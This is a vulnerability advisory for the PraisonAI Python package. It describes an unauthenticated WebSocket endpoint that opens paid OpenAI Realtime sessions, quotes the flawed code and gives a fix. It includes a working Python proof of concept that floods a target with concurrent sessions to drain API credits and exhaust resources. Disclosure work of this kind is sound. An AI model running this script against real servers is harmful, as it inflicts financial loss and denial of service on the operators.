High

PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits

  • Disclosed: 10.04.2026
  • Updated: 11.10.2026 14:18

Summary

The /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits.

Details

The vulnerability exists in src/praisonai/praisonai/api/call.py. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting:

python
# line 108-112 — no auth, no middleware, accepts any WebSocket client
@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    """Handle WebSocket connections between Twilio and OpenAI."""
    print("Client connected")
    await websocket.accept()

Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's OPENAI_API_KEY:

python
# line 114-120 — each unauthenticated connection spawns a paid API session
    async with websockets.connect(
        'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01',
        extra_headers={
            "Authorization": f"Bearer {OPENAI_API_KEY}",
            "OpenAI-Beta": "realtime=v1"
        }
    ) as openai_ws:

The receive_from_twilio() coroutine then reads unlimited messages and forwards them directly to OpenAI:

python
# line 128-135 — unbounded message ingestion, no size/rate check
                async for message in websocket.iter_text():
                    data = json.loads(message)
                    if data['event'] == 'media' and openai_ws.open:
                        audio_append = {
                            "type": "input_audio_buffer.append",
                            "audio": data['media']['payload']
                        }
                        await openai_ws.send(json.dumps(audio_append))

The server binds to 0.0.0.0 (line 273) and can be exposed to the internet via ngrok (--public flag). Twilio's RequestValidator is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the X-Twilio-Signature header, which is absent here.

Additionally, uvicorn.run() is called without a ws_max_size parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption.

PoC

bash
# Step 1: Verify the endpoint is accessible and accepts connections
python3 -c "
import asyncio
import websockets
import json

async def test():
    async with websockets.connect('ws://TARGET:8090/media-stream') as ws:
        # Send a start event (mimicking Twilio)
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': 'attacker-session-1'}
        }))
        # Send a media event — this gets forwarded to OpenAI Realtime API
        await ws.send(json.dumps({
            'event': 'media',
            'media': {'payload': 'SGVsbG8gV29ybGQ='}
        }))
        # Receive the OpenAI response routed back
        response = await asyncio.wait_for(ws.recv(), timeout=10)
        print('Received response (confirms OpenAI session active):', response[:200])

asyncio.run(test())
"

# Step 2: Demonstrate resource exhaustion — open multiple concurrent connections
# Each connection spawns an OpenAI Realtime API session billed to the server owner
python3 -c "
import asyncio
import websockets
import json
import base64

async def open_session(i):
    uri = 'ws://TARGET:8090/media-stream'
    async with websockets.connect(uri) as ws:
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': f'attacker-{i}'}
        }))
        # Send audio data to keep the OpenAI session active and billing
        payload = base64.b64encode(b'\\x00' * 8000).decode()  # ~8KB audio chunk
        for _ in range(100):
            await ws.send(json.dumps({
                'event': 'media',
                'media': {'payload': payload}
            }))
            await asyncio.sleep(0.01)
        print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy')

async def main():
    # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits)
    await asyncio.gather(*[open_session(i) for i in range(10)])

asyncio.run(main())
"

Replace TARGET with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session.

Impact

  1. OpenAI API credit drain: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful.

  2. Denial of service: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections.

  3. Server memory exhaustion: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads.

Recommended Fix

Add Twilio signature validation, connection limits, and rate limiting:

python
from twilio.request_validator import RequestValidator
from starlette.websockets import WebSocketState
import time

# Connection tracking
MAX_CONCURRENT_CONNECTIONS = 20
active_connections = 0
connection_lock = asyncio.Lock()

TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN')

@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    global active_connections
    
    # Enforce connection limit
    async with connection_lock:
        if active_connections >= MAX_CONCURRENT_CONNECTIONS:
            await websocket.close(code=1008, reason="Too many connections")
            return
        active_connections += 1
    
    try:
        # Validate Twilio signature if auth token is configured
        if TWILIO_AUTH_TOKEN:
            validator = RequestValidator(TWILIO_AUTH_TOKEN)
            url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://")
            signature = websocket.headers.get("X-Twilio-Signature", "")
            if not validator.validate(url, {}, signature):
                await websocket.close(code=1008, reason="Invalid signature")
                return
        
        await websocket.accept()
        # ... rest of handler ...
    finally:
        async with connection_lock:
            active_connections -= 1

Additionally, pass ws_max_size to uvicorn to limit individual message sizes:

python
uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576)  # 1MB

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.128 4.5.128

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-770
Platform
Python (PyPI)
Package
praisonai
Disclosed
10.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2920 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-q5r4-47m9-5mc7 - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  3. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  4. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  5. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  6. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  7. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  8. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  9. High CVE-2026-47397 < 4.6.40 4.6.40
  10. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  11. Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  12. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  13. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  14. PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits this entry
    High · 7.5 CVE-2026-40116 < 4.5.128 4.5.128
  15. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Critical CVE-2026-35615 < 1.5.113 1.5.113
Show more (7) Showing 80 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.